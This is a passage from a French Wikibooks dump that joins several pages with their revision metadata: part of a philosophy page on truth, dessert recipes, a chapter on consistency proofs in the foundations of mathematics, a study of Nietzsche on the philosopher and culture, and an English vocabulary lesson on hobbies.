de savoir ce qu'il faut entendre par correspondance. Une proposition vraie est-elle vraie parce qu'elle ressemble à ce qu'elle signifie ? Non, car une proposition est faite de mots qui ne ressemblent pas à des faits. C'est donc que le sens de la proposition exprimerait quelque chose de la réalité ; mais le problème de cette théorie est de savoir comment cela est possible. Malgré sa théorie du syllogisme, il ne semble pas qu'Aristote soit parvenu à distinguer les deux premiers sens de la vérité. On trouve en revanche cette distinction dans la logique stoicien|stoïcienne, exposée par Sextus Empiricus dans ses ''Esquisses Pyrrhonnienne''. L'analyse stoicienne de l'implication permet en effet de valider des propositions telles que ''si la terre a des ailes, elle vole'' ; les deux parties de l'implication sont matériellement fausses, et pourtant le raisonnement est valide. La vérité au sens 3. est un type de vérité qui se rencontre en métaphysique et en théologie. Elle consiste a déduire d'un ensemble d'hypothèses ou de faits d'expérience, une condition elle-même inconditionnée. Dieu, les Idées, l'âme, le commencement absolu du monde, et même la conscience en tant que fondement de la connaissance dans l'idéalisme, sont des exemples de telles conditions ontologiques. La vérité au sens 4. concerne la ''justification'' d'une croyance ou d'un avis, comme, par exemple, la croyance morale, qui n'est ni un fait, ni une cohérence interne d'un discours logique. C'est une opinion, ou ''doxa'', qui nous paraît comme véritable. On peut douter qu'il s'agisse là vraiment de vérité. Elle est pourtant soutenue dans des pensées de type relativiste, dans la sophistique par exemple. Une objection classique est qu'une fiction peut être cohérente, sans avoir beaucoup de rapport avec la réalité. ==Bibliographie== *''De l'Interprétation'', Aristote *''De Veritate'', Anselme *''[[Wikisource:Recherche de la vérité par les lumières naturelles|Recherche de la vérité par les lumières naturelles]]'', Descartes, sur Wikisource *''[[Wikisource:L’Éthique|L’Éthique]]'', Baruch de Spinoza *''Essais philosophiques'', Bertrand Russell *''La vérité'', article de John Austin *''La vérité'', Pascal Engel ==Sujet de dissertation== la vérité est ce seulement ce qui est démontré? ==Textes== Cuisine:Gâteau au chocolat 2701 14276 2005-04-21T17:02:08Z Guillaumito 46 Utilisation de mon modèle :) == Fondant au chocolat == Le fondant au chocolat est un gâteau très dense dont la cuisson lente particulièrement délicate permet de caraméliser les ingrédients. Le fondant au chocolat gagne à être accompagné de crème anglaise. On peut aussi l'agrémenter de noix. ==== Ingrédients ==== Les quantités indiquées permettent de remplir un moule à cake d'un litre. Pour obtenir une cuisson homogène, on peut avantageusement utiliser deux moules de 0,5 l. Il est préférable d'utiliser des moules en aluminium jetables : 4 œufs 250 g de sucre 250 g de beurre (on peut choisir de réduire un peu la quantité de beurre) 250 g de chocolat ==== Préparation ==== Faire fondre les ingrédients dans une casserole et bien mélanger le tout. Les œufs sont incorporés entièrement sans préparation spéciale. Verser la pâte dans le ou les moules. Les placer au four dans un bain-marie (utiliser un plat plus grand rempli d'eau). Faire cuire à température modérée (th. 4-5) pendant 90 à 120 minutes en fonction du four (les fours à chaleur tournante sont plus efficaces). Surveiller la quantité d'eau présente dans le bain marie, en rajouter régulièrement si besoin (soit toutes les 20 minutes environ dans un four traditionnel). Démouler et servir froid (un passage de quelques secondes au-dessus d'un brûleur facilite le démoulage). {{Cuisine:Desserts}} Cuisine:Crumble 2702 14277 2005-04-21T17:19:37Z Guillaumito 46 {{Cuisine:Desserts}} == Crumble aux pommes == ==== Ingrédients ==== Généralement, les proportions de sucre, de farine et de beurre sont égales. * 150g de beurre * 150g de farine * 150g de sucre * 6 pommes à cuire ==== Préparation ==== # Préchauffer le four thermostat 6-7. # Eplucher les pommes. # Mélanger le sucre, la farine et le beurre à la main en "cassant" le beurre. # Etaler les pommes dans un plat et recouvrir du mélange farine-sucre-beurre. # Passer au four pendant une petite demi-heure. {{Cuisine:Desserts}} Image:Préparationtartiflette.jpg 2703 14278 2005-02-26T19:03:04Z Antoinel 182 Tartiflette avec lardons {{GFDL}} Image:Tartiflettelardons.jpg 2704 14279 2005-02-26T19:13:45Z 82.65.59.194 tartiflette aux lardons {{GFDL}} Fondements des mathématiques:Chapitre 6 2705 14280 2005-04-20T17:57:52Z Guillaumito 46 {{Fondements des mathématiques}} {{Fondements des mathématiques}} Ce chapitre expose des preuves de cohérence des principes mathématiques. Il est plus audacieux que les précédents, pour lesquels presque tous les résultats présentés sont connus et prouvés depuis des décennies. ==Comment prouver la fiabilité des principes ?== Les preuves de la vérité et de la fiabilité des principes sont confrontées à un problème de circularité : à partir de quels principes peut-on prouver la fiabilité des principes ? L’examen de ce problème requiert quelques préliminaires. ===Qu’est-ce qu’une preuve ?=== L’un des principes mathématiques les plus importants est que les vérités doivent être prouvées. Une part importante du travail mathématique consiste précisément à imaginer et à écrire des preuves. La façon la plus ordinaire de penser à une preuve est de la définir comme une progression par étapes de prémisses vers une conclusion. Si les prémisses sont vraies et si la progression est logique alors la conclusion est prouvée. La logique du premier ordre donne une définition précise et complète de la notion de progression logique et de preuve formelle. Quand elles sont définies de cette façon, les preuves sont définies avec précision, mais elles sont seulement des moyens pour trouver de nouvelles vérités à partir de vérités déjà connues. Dans une théorie mathématique, tous les théorèmes sont ainsi prouvés à partir des axiomes. Si nous voulons que les théorèmes soient vrais, il nous faut des axiomes vrais. Mais comment savoir que les axiomes sont vrais ? ===Comment prouver la vérité des axiomes ?=== Leibniz a posé en principe que tout axiome, tout principe, doit être prouvé. Mais il n’a pas dit très précisément comment le faire. A partir de quels principes peut-on prouver la vérité des principes ? Pour prouver que quelque chose est vrai, il faut avoir une idée de la vérité. La théorie des modèles donne une telle idée et un moyen de prouver qu’un axiome est vrai. Un système d’axiomes est vrai quand il y a un modèle pour lui. Il suffit de trouver un modèle et la vérité de tous les axiomes est automatiquement établie. C’est vrai pour toutes les formules, pas seulement les axiomes. Pour prouver la vérité d’une formule, il faut prouver qu’elle est vraie dans un modèle. Mais habituellement une formule est prouvée à partir d’axiomes et le modèle, s’il existe, est seulement implicite. Cela suffit pour prouver la vérité de cette formule dans le modèle pourvu que l’on sache déjà que les axiomes y sont vrais et que les déductions logiques soient valides. Cette définition de la vérité par la théorie des modèles laisse cependant des questions sans réponses. Comment prouve-t-on que des axiomes sont vrais dans un modèle ? Un modèle est défini avec des ensembles et des fonctions. Si on veut prouver qu’un modèle existe pour un système d’axiomes, on abesoin d’une théorie des ensembles et des fonctions. Il semble qu’il y a un cercle vicieux dans cette approche de la vérité mathématique. Pour prouver qu’une théorie est vraie, il faut prouver l’existence d’un modèle. Mais pour cela, on a besoin d’une théorie des ensembles, et plus précisément d’une vraie théorie des ensembles. Mais comment sait-on que cette théorie est vraie ? Quand on dit qu’une théorie des ensembles est vraie, on veut dire bien sûr qu’elle est cohérente, mais on veut dire plus que cela. Une théorie cohérente n’est pas forcément une théorie des ensembles. La notion première, ou concept fondamental, des théories des ensembles est la relation binaire d’appartenance. Tout être rationnel a une compréhension intuitive de cette notion. Rien qu’avec les ensembles finis on peut lui trouver de nombreuses applications. L’axiome d’extensionalité, selon lequel deux ensembles sont égaux s’ils ont les mêmes éléments, et d’autres loi générales sur les constructions élémentaires des ensembles sont connus de façon intuitive. On peut formuler des théories axiomatiques en accord avec ces connaissances intuitives du concept d’appartenance à un ensemble. Les connaissances intuitives conduisent parfois à des contradictions, même quand on fait attention à supprimer toute équivoque. Qu’une théorie des ensembles est intuitive ne prouve donc pas qu’elle est vraie. Si en revanche on a prouvé pour une théorie des ensembles qu’elle est cohérente, et si en plus elle est en accord avec nos connaissances intuitives sur les ensembles, alors on peut estimer que cela suffit pour prouver la vérité de cette théorie. On peut alors se reposer sur elle pour prouver l’existence de modèles et donc la vérité d’autres théories. Une théorie des ensembles est une sorte de théorie universelle, au sens où elle permet de raisonner sur toutes les théories. Mais il y a ici une circularité. Pour prouver qu’une théorie des ensembles est cohérente par la théorie des modèles, il faut prouver l’existence d’un modèle, c’est à dire un ensemble, qui est un univers de tous les ensembles de cette théorie. Pour échapper à cette circularité, on pourrait songer à prouver la cohérence de la théorie d’une façon directe, sans passer par la preuve d’existence d’un modèle. Mais on n’y échapperait pas non plus, parce qu’alors il faut raisonner sur toutes les conséquences que l‘on peut déduire logiquement des axiomes et cela revient à définir l’ensemble de toutes ces conséquences et à prouver qu’il ne contient pas de contradiction. Dans ce cas aussi, on a donc besoin d’une théorie des ensembles. Toute preuve de la fiabilité des principes de preuve a quelque chose de circulaire. Mais ce cercle n’est pas vicieux, ou pas trop, au sens où il ne remet pas en question la vérité de nos principes. S’il l’était alors on ne pourrait rien connaître avec certitude en mathématiques. Même les théories les plus élémentaires seraient douteuses. Par exemple, il est facile de définir une théorie qui contient toutes les égalités de la forme n + p = q où n, p et q sont des entiers positifs. Que cette théorie ne contient pas 2+2 = 5 peut être prouvé à partir de sa définition. Mais dans cette preuve, on raisonne sur l’ensemble de toutes les égalités qui définit la théorie. Ce serait cependant un absurde excès de rigueur logique d’avoir le moindre doute sur sa validité. Les seuls problèmes que posent cette preuve et d’autres semblables sont d’une part la portée des principes utilisés et d’autre part la façon de les formuler avec précision. Tant qu’on se limite à des techniques élémentaires, on peut être sûr de leur fiabilité, mais qu’en est-il quand on veut étendre leur puissance ? Avant de définir la moindre théorie axiomatique des ensembles, nous savons qu’il y a des systèmes d’axiomes cohérents pour les ensembles parce que nous savons que les ensembles existent d’une façon idéale. Il y a parfois des doutes sur la justesse d’une théorie particulière. Russell a prouvé que la théorie fregeienne des ensembles est contradictoire. On peut aussi avoir des doutes sur le choix de règles formelles particulières. Des logiciens se sont déjà trompés dans l’énoncé des règles pour les variables, par exemple, en omettant de mentionner des contraintes sur les occurences libres et liées dans les règles de déduction. Mais il n’y a pas de raison d’être plus sceptique sur l’existence idéale de nombreux ensembles élémentaires que sur l’existence des nombres entiers. Avant de définir des méthodes formelles, nous savons que certaines de nos raisonnements naturels sont fiables, parce que leurs principes sont nécessaires pour tout être rationnel, au sens où toute personne qui prend le temps d’y penser tombe d’accord sur leur nécessité. Si nous n’étions pas convaincus par la vérité de ces principes élémentaires (règles de déduction, vérités sur les mots, les formules et leurs ensembles,...) alors nous ne pourrions pas être rationnels. Nous sommes convaincus que certaines preuves ont quelque chose à voir avec la vérité. Avant d’énoncer formellement nos principes, nous savons ou nous croyons qu’ils ont une part de vérité. Pourrions-nous avoir tort ? Que les principes fondamentaux de la raison soient faux ne pourra jamais être prouvé parce que cette preuve affirmerait qu’il n’y a aucune preuve valide et se contredirait elle-même. Est-ce que cet argument prouve que les principes fondamentaux de la raison contiennent une part de vérité ? Il peut être considéré comme une sorte de confirmation, mais le point important est que la preuve de la fiabilité des principes de preuve n’est pas une étape préliminaire obligatoire pour établir la validité d’une preuve. Cette interprétation du principe de Leibniz conduirait à une régression à l’infini et serait donc absurde. A chaque fois que nous donnons une preuve, nous pouvons supposer une sorte d’accord tacite et préalable sur la validité d’au moins quelques principes de preuve, même s’ils ne sont pas clairement formulés. Les découvertes scientifiques sont en vérité de bien meilleures preuves de la validité de nos principes de preuve que tout argument a priori. Tant qu’on se limite aux cas les plus élémentaires, on peut se fier à nos connaissances intuitives sur les principes de preuve. Mais si on veut aller plus loin, alors il faut s’interroger de façon critique sur la fiabilité de nos méthodes et prouver avec des moyens élémentaires que des méthodes non-élémentaires sont fiables. Ce point est développé dans ce chapitre. Il résume à lui seul tout l’esprit de cette approche des fondements des mathématiques. C’est l’histoire du lion, la vérité, qui se fait aider par une souris, les évidences élémentaires. ===A quoi servent les méthodes formelles ?=== Quand on se limite à des questions élémentaires, on peut être sûr que les preuves informelles sont valides. On n’a pas besoin des méthodes formelles pour s’assurer de l’absolue vérité de ce qu’on dit, les évidences naturelles suffisent. Mais ce n’est qu’un commencement. Les méthodes formelles permettent d’aller beaucoup plus loin, pour plusieurs raisons. Les façons naturelles de parler et de raisonner marchent bien quand le sujet étudié n’est pas trop compliqué. Quand ce n’est pas le cas, on a besoin de moyens d’expression plus précis que ceux des langues naturelles. Les méthodes formelles permettent de combiner avec justesse des étapes simples, élémentaires, mais qui ensemble permettent de répondre à des questions précises sur des objets très complexes. L’inefficacité des raisonnements courants vient dans ce cas de leur manque de précision. Les sophismes et les paradoxes montrent que les évidences naturelles peuvent conduire à des absurdités. Les prémisses choisies comme point de départ semblent vraies, ou au moins acceptables, les étapes du raisonnement semblent correctes et pourtant la conclusion est absurde. Dans les sophismes on arrive à reconnaître une sorte de malveillance à l’égard du langage. L’indétermination partielle des significations des notions familières est utilisée pour duper l’auditoire. Typiquement pour faire un sophisme il suffit de se servir du même mot en deux sens différents sans souligner cette nécessaire distinction. Les méthodes formelles permettent de se protéger contre les sophismes parce qu’elles imposent de tout expliciter. La confusion des significations n’est alors plus possible. Les sophismes n’épuisent pas toutes les absurdités que l’on peut trouver à partir des évidences naturelles. Dans certains cas très importants, le raisonnement qui conduit à une conclusion absurde résiste aux efforts de clarification des significations. Dans ce cas, il s’agit d’un paradoxe. Donnons un exemple. Que toute phrase qui a un sens précis et non-équivoque soit nécessairement ou bien vraie, ou bien non, semble être un principe naturel de la raison. Considérons alors la phrase suivante. Cette phrase est fausse. Elle a un sens précis et non équivoque quand son sujet, “cette phrase” renvoie à la phrase complète. Est-elle vraie ? Si elle était vraie, elle serait fausse. On voudrait en conclure qu’elle n’est pas vraie mais cette option aussi est interdite parce qu’alors elle serait vraie. Elle ne peut donc être ni vraie, ni fausse, contrairement au principe pourtant naturel qui a été précédemment énoncé. Le paradoxe du menteur, qui vient d’être présenté, est comme beaucoup d’autres paradoxes, très important pour la recherche des vérités. Le chapitre 4 a rappelé son importance dans les preuves d’incomplétude des principes mathématiques. A la fin du 19ème siècle, la recherche de principes généraux pour toutes les mathématiques est devenue une question centrale. La théorie des ensembles de Cantor et les progrès de la logique mathématique ont fait espérer une théorie mathématique générale et complète. Il s’agissait de trouver un nombre fini d’axiomes à partir desquels on aurait pu prouver toutes les vérités sur tous les êtres mathématiques concevables. Cependant la théorie de Cantor a des aspects paradoxaux et la fiabilité des raisonnements généraux sur les ensembles laissait une place au doute. Frege, parmi d’autres logiciens a développé des méthodes formelles qui permettaient de formuler avec précision tous les énoncés mathématiques sur les ensembles et tous les axiomes qui semblaient naturels pour fixer la signification des notions fondamentales. La méthode formaliste de Frege lui a permis d’éviter tous les sophismes, mais il est tombé sur un paradoxe. Russell lui a prouvé que ses axiomes, pourtant naturels, conduisent à une contradiction. Cette preuve a été présentée dans le chapitre 3. Sans les méthodes formelles, on ne peut pas espérer répondre au problème de la fiabilité ou de la cohérence des principes mathématiques. Il faut être précis, comme Frege, sur ce qu’on prend comme axiomes et sur ce qu’on admet comme règle de déduction, pour pouvoir alors prouver que les principes sont cohérents. On ne peut pas le faire pour les principes naturels parce qu’ils sont incohérents. Bien naïf est celui qui n’a pas compris qu’on peut toujours tout prouver, à la fois une chose et son contraire, il suffit de quelques phrases bien tournées. Mais il n’est souvent pas difficile de se protéger contre cette absurdité de la raison naturelle. Pour les raisonnements courants, il suffit en général de préciser un peu les significations. Si on rencontre un paradoxe, on sait alors qu’on a besoin d’une théorie plus prudente quant au choix de ses principes. On est conduit à développer une théorie formelle avec des axiomes et des règles clairement explicitées. ===Le programme de Hilbert=== Le paradoxe de Russell, comme de nombreux autres paradoxes ensemblistes, se pose à propos de grands ensembles, tels que l’ensemble de tous les ensembles, l’ensemble de tous les ensembles qui ne sont pas dans eux-mêmes, l’ensemble de tous les ordinaux, et quelques autres. Cette situation avait jeté un soupçon sur les découvertes de Cantor. Certains mathématiciens restaient sceptiques quant à la signification et à la portée de ses théorèmes. Mais d’autres plus audacieux ont compris que Cantor avait livré les clés d’un paradis parce qu’il a donné les moyens de raisonner avec justesse sur tous les ensembles concevables et que cela permettait de développer des théories beaucoup plus puissantes que tout ce qui avait été conçu jusque là. Les paradoxes de la théorie des ensembles ne remettaient pas en question la vérité des principes élémentaires, tels que ceux des théories des nombres entiers. Tant qu’on se limite aux nombres entiers, l’évidence des principes n’est pas contestable. Les théories sont des ensembles de formules et peuvent être définies avec des principes semblables à ceux qui sont utilisés en arithmétique. Dans les deux cas, on peut raisonner comme si l’on parlait de suites finies de signes graphiques. Hilbert faisait remarquer que les nombres peuvent être identifiés à des suites de barres par exemple : 1=/, 2=//, 3=///, 4=////, ... Les formules peuvent de même être identifiées à des suites de lettres, ou symboles. Les ensembles de nombres ou de formules sont des systèmes formels. Tant qu’on se limite aux systèmes formels et à quelques autres ensembles que l’on peut construire à partir d’eux, les mathématiques sont finitaires. On peut formaliser la théorie de Cantor, c’est à dire définir avec précision un ensemble de formules prouvables à partir d’axiomes. On obtient ainsi un ensemble finitaire de formules destinées à dire des vérités sur tous les ensembles, et pas seulement ceux qui peuvent être identifiés à des ensembles finitaires déjà construits. Pour développer la théorie générale des ensembles sans tomber dans des contradictions, on est conduit à étudier un ensemble finitaire. On peut alors espérer prouver avec des méthodes finitaires que la théorie est cohérente. Cela place les mathématiques finitaires au coeur de toutes les mathématiques, parce que si on a prouvé qu’une théorie est cohérente on a établi du même coup l’existence mathématique des êtres qu’elle définit. La fiabilité des méthodes générales peut ainsi être prouvée avec des méthodes finitaires. Hilbert a espéré trouver une théorie finitaire telle que toutes les questions mathématiques y reçoivent une réponse. Cet espoir était justifié en partie, parce que la cohérence de toute théorie est une question finitaire. Gödel a prouvé que ce programme complet de Hilbert n’est pas réalisable. Quelles que soient les théories finitaires que l’on se donne, elles seront toujours insuffisantes pour prouver toutes les vérités. Gödel a aussi prouvé un second théorème d’incomplétude qui a été mal interprété. Il dit qu’en général une théorie mathématique ne peut pas prouver sa propre cohérence. L’interprétation erronée consiste à en conclure que les méthodes finitaires ne suffisent pas pour prouver la cohérence des théories finitaires et qu’il faut abandonner à la fois le programme de Hilbert et la croyance en la prééminence des méthodes élémentaires. Les sections suivantes prouveront que le programme de Hilbert est réalisable, pourvu qu’on abandonne l’espoir de complétude, qu’on demande seulement des preuves de cohérence, qu’on fasse attention dans le développement de l’ontologie des ensembles et des fonctions, et qu’on fasse confiance à la capacité de la raison à connaître les ensembles infinis, au moins quand ils sont définis avec des moyens élémentaires. Ce programme est considéré ici comme une forme moderne du programme de Leibniz, selon lequel il faut prouver la vérité des principes. ==Les preuves de cohérence par la théorie des modèles== On peut prouver la cohérence d’une théorie T en construisant un modèle de T, c’est à dire un ensemble de formules atomiques telles que tous les axiomes de T sont vrais pour elles. L’ensemble des vérités atomiques de l’arithmétique élémentaire permet par exemple de prouver la cohérence des théories arithmétiques. Une théorie T est cohérente lorsqu’on ne peut pas déduire de contradiction à partir de ses axiomes. Si T a un modèle, tous les axiomes et toutes leurs conséquences logiques sont vrais dans ce modèle. Une contradiction est fausse dans tous les modèles. Elle ne peut donc pas être une conséquence des axiomes. Une théorie qui a un modèle est donc nécessairement cohérente. Le théorème de complétude de la logique du premier ordre montre qu’inversement une théorie cohérente a toujours un modèle. La construction d’un modèle peut être donnée avec un langage et un raisonnement naturels parce qu’elle est souvent très élémentaire. On peut être aussi sûr de la validité de ces constructions qu’on l’est de la validité de tous les principes élémentaires de raisonnement. Il est cependant souhaitable de formaliser les preuves naturelles. Il ne s’agit pas toujours de les rendre plus sûres, parce que certains raisonnements naturels peuvent être plus fiables que les calculs formalisés, étant plus compréhensibles. On peut se tromper dans les options de formalisation, mais, on ne se trompe pas si on applique avec attention des principes élémentaires et naturels sur des questions simples. Formaliser des preuves naturelles présente un intérêt plus pour montrer la justesse et l’efficacité de la formalisation que pour montrer la justesse des preuves elles-mêmes. Les théories formalisées permettent de dépasser les limites des raisonnements naturels et de formaliser des preuves difficiles. Pour formaliser des preuves de cohérence par la théorie des modèles on a besoin d’une théorie T des ensembles. Pour que ces preuves soient valables, il faut que T soit elle-même cohérente. On est donc conduit à chercher une preuve de la cohérence de T. Nous présenterons à la fin de ce chapitre la preuve de Gödel que sous des conditions générales, une théorie T ne permet pas de formaliser la preuve de la cohérence de T. Nous montrerons que cette improuvabilité a une racine ontologique. T ne contient jamais les bons ensembles qui permettent de formaliser la preuve de sa cohérence. Nous donnerons d’abord une preuve naturelle de la cohérence de l’arithmétique formelle AF. L’ontologie de l’arithmétique formelle n’est pas adaptée à la formalisation de cette preuve, mais celle de Finitaire1 oui. Nous montrerons que la théorie Finitaire1 permet de formaliser la preuve naturelle de la cohérence de l’arithmétique formelle. L’ontologie de Finitaire1 est limitée mais elle est cependant très riche. Elle permet de définir beaucoup plus d’ensembles que l’arithmétique formelle, qui est dèjà elle-même très riche. Finitaire1 met à profit des méthodes élémentaires et cependant très puissantes et très générales pour construire et connaître des ensembles infinis. On donnera ensuite une preuve de la cohérence de Finitaire1 et on complétera son ontologie pour définir une théorie Finitaire2 qui permet de formaliser la preuve de la cohérence de Finitaire1. La preuve de la cohérence de Finitaire2 sera laissée en exercice, mais arrivé à ce point le lecteur devrait être convaincu qu’elle ne pose pas de difficultés de principe. Il suffit de se donner une ontologie adaptée à ce but. La méthode qui vient d’être exposée rencontre l’objection suivante. On prouve la cohérence d’une théorie T avec une théorie T+ plus compliquée que T. Il se pourrait que T soit incohérente, que T+ le soit également et qu’elle permette quand même de prouver que T est cohérente. Ces preuves de cohérence ne prouveraient donc rien du tout. Cette objection n’est ici pas valable. Avant de définir Finitaire1, on sait dèjà que l’arithmétique formelle est cohérente et on sait le prouver. Le rôle de Finitaire1 est seulement de traduire une preuve naturelle dans un langage formalisé. Si ses axiomes avaient été mal choisis, Finitaire1 pourrait être incohérente, mais cela n’enlèverait rien à la valeur de la preuve de la cohérence de l’arithmétique formelle, cela montrerait seulement les difficultés de la formalisation des preuves naturelles. Comme on sait que Finitaire1 et d’autres théories finitaires élargies sont cohérentes, on peut s’en servir pour prouver la cohérence d’autres théories. Nous prouverons que les méthodes finitaires sont en un sens toujours suffisantes, au sens où si une théorie est cohérente alors elle a un modèle finitaire. C’est une conséquence, ou plus exactement une reformulation, du théorème de complétude de Gödel. Mais on ne peut pas déduire de ce théorème l’existence d’une théorie finitaire complète, au sens où elle suffirait pour toutes les preuves de cohérence. Les preuves formelles de cohérence sont assez élémentaires. Il suffit de définir avec précision à la fois un modèle et l’ensemble des axiomes de la théorie, et d’appliquer quelques règles logiques simples. Le théorème de cohérence est une conséquence triviale des définitions. C’est en accord avec l’intuition que ces théories sont évidemment cohérentes. La trivialité de la conclusion veut quand même dire ici qu’il faudrait y passer quelques dizaines de pages si l’on voulait expliciter formellement toutes les étapes. Mais la rédaction complète de ces preuves formelles ne pose pas d’autres difficultés que le caractère mécanique et répétitif de leurs nombreuses étapes. Même pour une théorie aussi élémentaire que celle des nombres entiers, la construction d’un modèle est assez compliquée, mais elle ne met en jeu que des étapes élémentaires, pour lesquelles la validité des méthodes de construction est difficilement contestable, sauf si l’on prétend que l’esprit humain est incapable de connaître les nombres entiers. La seule véritable difficulté de ces preuves formelles consiste à choisir une ontologie adaptée à leur but. ==Une preuve naturelle de la cohérence de l’arithmétique formelle== Cette page expose des axiomes pour l’arithmétique formelle et une preuve naturelle, connue des logiciens, de la cohérence de ces axiomes. [[Fondements des mathématiques : une preuve naturelle de la cohérence de l'arithmétique formelle|Texte de cette section]] ===Les axiomes de l’arithmétique formelle=== ===La vérité des axiomes=== ==La construction finitaire de l’ensemble des vérités à partir d’un modèle== [[Fondements des mathématiques : la construction finitaire de l'ensemble des vérités|Texte de cette section]] ==Une preuve formelle de la cohérence de l’arithmétique formelle== [[Fondements des mathématiques : une preuve formelle de la cohérence de l'arithmétique formelle|Texte de cette section]] ==La cohérence des théories des ensembles finitaires== [[Fondements des mathématiques : la cohérence des théories finitaires|Texte de cette section]] ==Le second théorème d ’incomplétude de Gödel et le programme de Hilbert== [[Fondements des mathématiques : le second théorème d'incomplétude de Gödel|Texte de cette section]] ==Paradoxes des théories finitaires== [[Fondements des mathématiques : Paradoxes des théories finitaires|Texte de cette section]] ==La cohérence des théories infinitaires== [[Fondements des mathématiques : la cohérence des théories infinitaires|Texte de cette section]] [[Catégorie:Logique mathématique]] Nietzsche - Philosophie et culture 2706 14281 2005-02-26T22:43:38Z Marc 66 {{Nietzsche}} « Occupez-vous de moi, car je dois m’occuper de vous. » Nous commencerons ce travail par l’étude du type d’homme que Nietzsche considère comme le plus haut degré de la culture, comme le résultat le plus élevé auquel puisse parvenir l’éducation de l’homme, le philosophe. Le philosophe est essentiellement lui-même un éducateur qui fait œuvre de culture, en légiférant sur les valeurs humaines : son action a ainsi à la fois une dimension pour ainsi dire atemporelle, car il pose ce qui doit être de toute éternité ; et une dimension temporelle, car les valeurs qu’il crée font l’histoire ; la philosophie est la condition de l’histoire humaine, puisqu’elle détermine le cadre de son évolution, i.e. le champ des possibles de l’humanité. Le philosophe possède un pouvoir considérable sur les hommes, par la pensée. Comment ce pouvoir est-il possible, et comment se réalise-t-il parmi les hommes ? Un tel type d’homme ne peut venir à l’existence que dans certaines conditions, et il doit posséder certaines qualités. La thèse de Nietzsche est que le philosophe est celui qui advient à ce qu’il est ; et cette nécessité de son existence est inactuelle. C’est cette inactualité qui qualifie le plus exactement le pouvoir du philosophe. Elle consiste à se tenir loin, à entretenir une distance avec les hommes et les choses, distance dans laquelle réside la possibilité d’une maîtrise, qui est à la fois une maîtrise de soi et une maîtrise du futur. L’homme distant, le philosophe, est le maître des temps à venir, parce qu’il tient son époque en son pouvoir en lui-même. Telles sont les thèses de Nietzsche à propos du philosophe et de son rapport à la culture. Remarquons que le vocabulaire de Nietzsche a ici un caractère métaphorique qui peut faire douter de son sérieux ; qu'est-ce, en effet, qu'être inactuel ? et pourquoi cela donnerait-il un pouvoir si exorbitant ? Nous nous fixons pour but de montrer dans cette partie que ce vocabulaire n'est pas métaphorique - mais ''ésotérique'', et qu'il recouvre des concepts précis, que l'on peut expliquer dans la perspective de la métaphysique traditionnelle. == Philosophe et civilisation == Les premières réflexions de Nietzsche à propos du type du philosophe ont essentiellement trait, d’une part, au pathos que suppose ce type, i.e. à sa manière d’être dans ses rapports au monde, aux hommes et à lui-même ; d’autre part, à sa capacité de créer un monde indépendemment de son temps - et malgrè son temps. Nietzsche s’efforce d’analyser les effets de ce pathos sur la civilisation dans laquelle vit un philosophe, et, par cette analyse, il s’efforce de répondre aux questions suivantes : que fait un philosophe dans son temps ? quelle y est sa place ? que fait-il dans la société où il est né ? Quelles relations a-t-il avec elle ? Pour répondre à ces questions, Nietzsche prend surtout pour modèles les philosophes grecs, dont l’activité est selon lui tantôt positive (ce qui concerne surtout les pré-platoniciens), tantôt négative (Socrate, et, après lui, les philosophes de la période hellénistique). Nous aborderons cette distinction plus loin, en examinant plusieurs des types de philosophe que Nietzsche analyse. Nous commencerons par souligner les traits caractéristiques généraux du philosophe, puis nous verrons la multiplicité de ce type à travers cette analyse. === Relations avec sa civilisation === Le philosophe semble être un solitaire indifférent à la culture de son peuple (cf. ''Le Livre du philosophe''). Bien plus, le philosophe a le droit de vivre précisément en philosophe, i.e. dans la solitude. Cette solitude fait partie du pathos de la distance nécessaire à l’activité philosophique, point que nous développerons plus loin. Or, en sens contraire, le philosophe est également pour Nietzsche, d’une part, un maître de l’intelligentsia ; et, d’autre part, il semble être le destructeur de la civilisation nationale : il est ici l’empoisonneur de la civilisation. Le philosophe ne crée pas de civilisation, mais la prépare, son œuvre est négative. Le philosophe n’est pas un meneur d’homme, ce n’est pas un guide ou un héros. Le culte que le philosophe voue à l’intellect est trop étranger à la vie des hommes. Bien au contraire, le philosophe dissout, détruit les mœurs, les instincts, les civilisations. Il est donc le plus utile là où règne le chaos, là où il y a beaucoup à détruire. Le philosophe est un résultat négatif d’une civilisation, il semble n’apparaître que comme un corbeau, un fossoyeur, à la fin des temps. Ces deux points montrent que la solitude du philosophe est en réalité une forme de relation, relation qu’il nous faut comprendre, pour avancer dans la compréhension de l’activité philosophique. Nietzsche se pose, dans les écrits du début des années 1870, les questions suivantes : *Le philosophe a-t-il une relation nécessaire avec le peuple ? *Y a-t-il une téléologie du philosophe ? Autrement dit, le philosophe est-il nécessaire à son temps ? Ou est-il un hasard, un effet sans lien particulier avec une civilisation ? Que cache la solitude du philosophe ? Mais Nietzsche soulève un autre problème, qui semble contredire ce qui vient d'être dit : il faut une unité de civilisation pour faire le philosophe. == Les différents types philosophiques == *[[Nietzsche - Le problème de Socrate|Socrate]] == Qu'est-ce qu'un philosophe ? == === Les vertus philosophiques === === L'activité philosophique === Anglais : Leçon 2 2707 42836 2006-05-20T04:55:35Z 70.51.10.17 /* Vocabulaire : What do you read? (''Que lisez-vous ?'') */ =Hobbies & Pastimes= ===<font size="+2"><center>Hobbies : Vocabulaire Général</font size="+2"></center>=== <table border="1" cellspacing="0" style="background-color: #99CCFF"> <tr ><td>To (have a) rest </td><td> se reposer </td><td> <tr ><td> to have a hobby, pastime </td><td> un passetemps, un hobby </td><td> <tr ><td> to enjoy (doing something) </td><td> aimer (faire quelque chose) </td><td> <tr ><td> to spend one's time (doing something) </td><td> passer son temps (à) </td><td> <tr ><td> video games </td><td> jeux vidéo </td><td> <tr ><td> board games </td><td> jeux de société </td><td> <tr ><td> card games </td><td> jeux de cartes </td><td> <tr ><td> to play cards </td><td> jouer aux cartes </td><td> <tr ><td> chess </td><td> les échecs </td><td> <tr ><td> checkers </td><td> jeu de dames </td><td> </table> ==<font size="+2"></center>Reading (''La Lecture'')</font size="+2"></center>== ====Verbe : To read==== {| class="wikitable" ! colspan=2 | '''to read''' (''lire'') |- |I read||we read |- |you read||you read |- |he/she reads||they read |} ===Vocabulaire : What do you read? (''Que lisez-vous ?'')=== <table border="1" cellspacing="0" style="background-color: #99CCFF"> <tr ><td> a book </td><td> un livre, un bouquin </td><td> <tr ><td> a newspaper </td><td> un journal </td><td> <tr ><td> a comic strip </td><td> une BD </td><td> <tr ><td> a magazine </td><td> un magazine </td><td> <tr ><td> a novel </td><td> un roman </td><td> <tr ><td> the plot; the storyline </td><td> l'intrigue ; l'histoire </td><td> <tr ><td> a character </td><td> un personnage </td><td> </table> ==<font size="+2"></center>On-screen Performances: Movies, Plays, and Television (''Les 